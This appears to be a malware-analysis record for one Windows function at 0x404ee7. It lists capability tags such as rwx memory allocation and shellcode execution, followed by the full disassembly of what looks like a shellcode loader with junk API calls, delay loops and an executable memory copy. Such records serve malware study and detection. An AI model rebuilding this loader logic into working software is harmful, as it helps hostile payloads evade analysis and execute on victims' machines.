Function at 0x404ee7
Capabilities:
Allocate or change rwx memory
Connect pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
mov eax, 0x42ca48
call fcn.0042c6b8
mov eax, 0x1140
call fcn.00417060
push ebx
push esi
xor esi, esi
cmp dword [0x241b84c], 0x1c9
push edi
jne 0x405014
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push 0x403688
push 0x403698
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
lea eax, [ebp - 0xc0]
push eax
push esi
push esi
push 0x4036ac
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
mov edi, dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call edi
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x8c]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
lea eax, [ebp - 0x7c]
push eax
call fcn.00405303
push esi
push esi
push esi
push esi
mov dword [ebp - 4], esi
call fcn.004082b4
add esp, 0x10
push 0x4036c4
lea ecx, [ebp - 0x34]
call fcn.00404200
lea ecx, [ebp - 0x34]
call fcn.0040421c
push esi
call fcn.00408359
pop ecx
push esi
call fcn.004084cf
pop ecx
lea eax, [ebp - 0x4c]
push eax
call fcn.004055ba
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 1
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], esi
call fcn.00405606
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], esi
call fcn.00405606
lea eax, [ebp - 0x14c]
push eax
call fcn.00405659
lea eax, [ebp - 0x14c]
call fcn.004051b1
lea eax, [ebp - 0x4c]
call fcn.004055f6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c]
call fcn.0040537e
add dword [0x241b84c], 0x1134b
push 0x4036d4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40
push 0x1000
push dword [0x241b84c]
mov dword [0x241b83c], eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
xor edi, edi
mov dword [0x23fd56c], eax
cmp dword [0x241b84c], esi
jbe 0x405083
cmp dword [0x241b84c], 0xa8
mov eax, dword [0x241c2b0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x23fd56c]
mov byte [ecx + edi], al
jne 0x40507a
call ebx
inc edi
cmp edi, dword [0x241b84c]
jb 0x405057
mov dword [ebp - 0x14], esi
mov eax, dword [0x241b84c]
mov ecx, dword [ebp - 0x14]
add eax, ecx
cmp eax, 0xe
jne 0x40512f
xor eax, eax
mov dword [ebp - 0x60], esi
lea edi, [ebp - 0x5c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push esi
lea eax, [ebp - 0x114c]
push eax
push 0x4036e4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
lea eax, [ebp - 0x54c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_EnumDesktopWindows]
push esi
call dword [sym.imp.USER32.dll_UnhookWinEvent]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
call ebx
push 0x4036f8
push 0x403720
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x94c]
push eax
push esi
lea eax, [ebp - 0x28]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x4fe161
jl 0x405086
mov edi, 0xe6c88c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec edi
jne 0x405144
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
push esi
call edi
cmp ebx, 0x206d47
jg 0x40517a
inc ebx
cmp ebx, 0x4f6a4
jl 0x405166
call fcn.00404e0b
xor ebx, ebx
push esi
call edi
cmp ebx, 0x26
jne 0x40518e
call fcn.00404ecd
inc ebx
cmp ebx, 0x6753f
jl 0x405181
push 0x403754
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret